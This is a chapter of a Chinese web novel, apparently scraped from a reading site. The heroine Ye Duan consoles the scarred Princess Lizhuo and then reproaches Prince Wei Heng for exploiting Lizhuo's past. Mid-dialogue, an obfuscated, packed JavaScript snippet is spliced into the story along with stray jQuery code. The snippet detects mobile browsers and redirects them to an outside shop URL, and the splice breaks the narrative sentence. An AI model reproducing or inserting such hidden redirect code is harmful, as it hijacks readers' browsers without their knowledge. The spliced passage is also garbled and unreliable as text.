206. 叶堂曾救下丽卓,叶端卫衡意不同……
作品:《倾卿良策》 叶端不忍再看,因她知道,对于丽卓来说,她的每个眼神,不论嫌弃也好、同情也好、亦或惊讶、麻木,都是剜向她伤口的刀锋。或许丽卓伤口上结了厚茧,不再那么在意,可叶端却做不到不管不顾。
她曾听说过,兆烈曾往北江送过一个公主为质,至于详情如何,她无从得知,不过今日见了丽卓,又有卫衡此前所说的,‘芸葭城与北江只有仇恨’,便不难猜出,丽卓便是兆烈送往北江为质的公主。那这伤疤便是北江之罪行!
“可吓到你了?”丽卓轻笑着开口。
叶端摇摇头,垂着视线看着脚下:“公主沉鱼落雁之姿,见者有幸。”
丽卓道:“不必为我宽心。”她轻抚着自己的脸颊,“这些年,它日日夜夜与我为伴,早已是我身体的一部分,我也已经习惯了它的存在……终日遮面,并非我不想面对,而是怕吓到别人。”
叶端这才抬头看她:“这是公主为兆烈付出的凭证,又有何人会因此恐惧?”
丽卓转头定定地、出神看了她片刻:“……叶堂也说过同样的话……他也曾夸过我漂亮,我知道他是骗我的,不然,又怎会对长荣的钰盛公主念念不忘……”
叶端颔首不语,丽卓又问:“我与叶堂的事,晋王可曾与你讲过?”
叶端又摇了摇头。
丽卓便缓缓道起:“……如今的芸葭城差点成了北江的领土。我也是那时被送去北江为质。在北江,我经历了此生至暗时光,吃尽了世间最苦的苦头……
后来,是叶堂将我从北江军营里救下,送我回来。那时,我整日神志不清,甚至不认识自己的弟弟,就只相信叶堂,我只信他能救我……
再后来,他教我破虏枪法,他说这是专克北江骑兵的枪法,等我学会了,就能保护自己……我对他越来越依恋,我爱他,我要他带我走,可他却说……他说……他早就有了心仪之人……”
丽卓拉住叶端的胳膊:“叶端,你告诉我,你们的钰盛公主一定是全天下最美的女子吧?她一定是有威严的,她是世间最好的,是吧?”
叶端握住丽卓的手:“世间女子各有各的美、各有各的好,美丽与智慧哪有之最?但钰盛公主一定是独一无二的,就像丽卓公主你,还有我,我们都是独一无二的,公主何须纠结于此?”
她轻轻扫开丽卓眼前碎发:“若是公主愿意,我可为公主调制祛疤膏药。”
丽卓垂了垂眸:“霖王为我找过不少郎中,却也没有几个真的有效。”
“公主不妨让我一试。我虽不敢保证能让公主脸上的疤痕消退,减淡倒是可以。”
丽卓松开与叶端握在一起的手,别头看向一边:“你若想试,那便试试吧,效果如何,倒也无妨。”
正殿。
殿内一片安静,却又似暗流奔涌,婢女小厮都被赶至门外瑟瑟索索……
酒壶高悬,酒水坠于杯中,酒花飞溅。
卫衡终是开了口:“……此事今夜怕是定不下来了,不如明日再议?”
说罢,不等霖王做出回应,他便已经起身往殿外走去。
叶端从丽卓寝殿出来,过了转角没走两步,就见卫衡扶着廊下的柱子摇摇晃晃地走着。
她紧跑两步上前去,双手搀扶住卫衡的胳膊:“殿下,你醉了。”
卫衡抬头看了看她,眼皮沉重地睁开,嘴角也微微弯起:“谨义……丽卓公主情况如何?”
“公主已经睡下了,并无大碍。”叶端说着,便扶着卫衡欲送他回房。
卫衡脚下虽是踉跄,却也老老实实跟着叶端的脚步走。
进了房间,叶端扶卫衡在床沿上坐下,便转身去桌上倒了一碗水,又从怀里取出一只药盒,拿了一粒药丸一并送到卫衡面前。
卫衡看看她:“这是什么?”
叶端道:“解酒的,吃了,殿下能舒服些。”
卫衡伸手接过,仰头用水冲下。他把碗递给叶端,叶端伸手接,正露出手背上鲜红的牙印。
卫衡神色一紧,迅速起身拉住叶端的手腕。他拿回碗随手一搁,便翻动着叶端的手掌:“这是怎么了?”
“没事。”叶端欲抽回手,却被卫衡握得更紧。
卫衡的眉头发紧,语调也连带冰冷了不少:“是丽卓?”
叶端重重沉一口气,另一只手用力掰开卫衡的指节,才收回手去,转身侧对着卫衡,避开他的视线。
她什么都没说,脸上的表情却充斥着不悦。
“谨义,你是在生我的气,对吗?”卫衡喉头上下滚动着,摊开的手掌垂落身旁。
叶端低下头,沉默良久。再抬头时,她眼眶已经通红湿润。
她转头盯着卫衡的眼睛:“殿下带我来,就是为了利用我、利用兄长,对吗?”
卫衡哑然,只有不断滑动的喉结显示他心里有话要说。
安静片刻,他只轻轻道了声:“对不起。”
叶端抿了抿唇:“做都做了,殿下道歉有何用?”她转正了身子,“你想利用丽卓公主对兄长的感情,加深她对北江的仇恨,可这么做,注定要不断撕扯她的伤口。
在殿下心里,丽卓公主只是一个会感情用事的复仇者吗?还是殿下以为,丽卓公主会视与兄长的感情重于芸葭城的百姓?如此,你不单小看了丽卓公主,更小看了世间女子……殿下,你在我心里根本不是这样的人,可是,你又确实这么做了……”
看着叶端质问的眼睛,卫衡胸口发闷。
他道:“……我承认,此事是我狭隘。我没有告诉你全部真相,就是怕你如此。”他握住叶端手臂,像是安慰,“我这么做,并非意在丽卓,而是霖王。你有所不知,他一向都不怎么坚定,今日席宴上更是想要翠山、嘉州以北的十州去向兆烈皇帝邀功……丽卓刚被救回来时,疯癫过一段时间,后来慢慢好了。这次来,见她状况尚好,我只想认为她早已放下了过去那些伤痛,重提叶堂,我本意是想提醒霖王不可重蹈覆辙……”
“殿下的法子可奏效了?”叶端打断卫衡的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223034|186447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,问他。
卫衡哑口。
叶端又道:“若是霖王理解了殿下的意思,又怎会提出那种过分的要求?殿下一厢情愿认为丽卓公主早已放下,可那伤痛是刻进骨子里的,又怎会忘?她若是忘了,又怎会让婢女称她‘城主’,而避‘公主’二字?”
她深吸一口气:“这些年,她能走出阴翳已是不易,还能让人真的误以为她放下了过去,不让亲近之人为她担心,这已是寻常人做不到的事情……”
她抬手抹去尚未滴落的泪,走到床边的香炉旁点燃安神的香料。
她道:“出门在外,殿下不便服用安神汤药,来时我特配了安神香,可让殿下安然入睡,若有动静也能快速醒来。天色不早了,殿下早些歇息。”
叶端说完,颔首施礼,便转身往外走。
“谨义。”卫衡想要叫住她,她却不理。
“谨义!”卫衡大跨两步追上,一伸胳膊便将叶端从身后搂住,“……我知道你并不认同我的做法,我也不想再说什么大道理逼你认同。你我看待此事各有侧重,但只限于此事,好吗?”
叶端停顿片刻,才轻轻点了点头:“嗯……对不起,殿下,我思绪有些乱,想一个人静静。”
她抬手欲拿开卫衡的手,卫衡也不再执拗。他松开叶端,便看着她走出门外,穿过长廊,进了自己房间,紧紧闭了门。
第二日一早,卫衡醒来时,窗外天色刚刚见白。
他侧目看着香炉中飘出最后一缕轻薄的烟雾,不由感叹着叶端的细致,就连安神香的用量都把控得刚刚好。
他起身下床,整理好着装,洗漱完成就出门去,来回在长廊下踱步,还时不时往叶端的房门处张望。
正等着叶端从房间里出来,卫衡身后突然传来一阵脚步声,他回头去看,就见叶端背着竹篓,朝他走来。
看见卫衡等在廊下,叶端稍稍诧异:“殿下……早。”她想问他为何等在这儿,心里又笑自己明知故问,便只笑着道了一句“早”。
卫衡满脸讶然,他看看叶端肩上背篓,天色尚早,她便已满载而归。
“谨义,你起得这么早。”
他伸手取下叶端的背篓,就听叶端笑答:“我没睡。”
卫衡手上的动作一顿,轻声问道:“还是在生我的气?”
叶端笑而不答,推门走进屋里。她找了干净的棉布铺在地上,便将背篓里的草药一一摊开。
卫衡跟在叶端身后,默默看着她。
叶端道:“丽卓公主愿意让我试试制作药膏为她除疤,昨夜反正睡不着,我索性请她找了复纤校尉带我去山间采了这些新鲜的草药……山里边到处都是雪,实在不好采药,好在药材都是些珍贵的。殿下你瞧瞧,这些在长荣可是不容易找到……”
卫衡绕到叶端面前,蹲下身去仔细看着。可他哪儿懂得草药?只能叶端讲解一个,他就认认真真地点点头。
叶端突然手里攥着什么送到卫衡面前:“殿下,这个是给你的。”

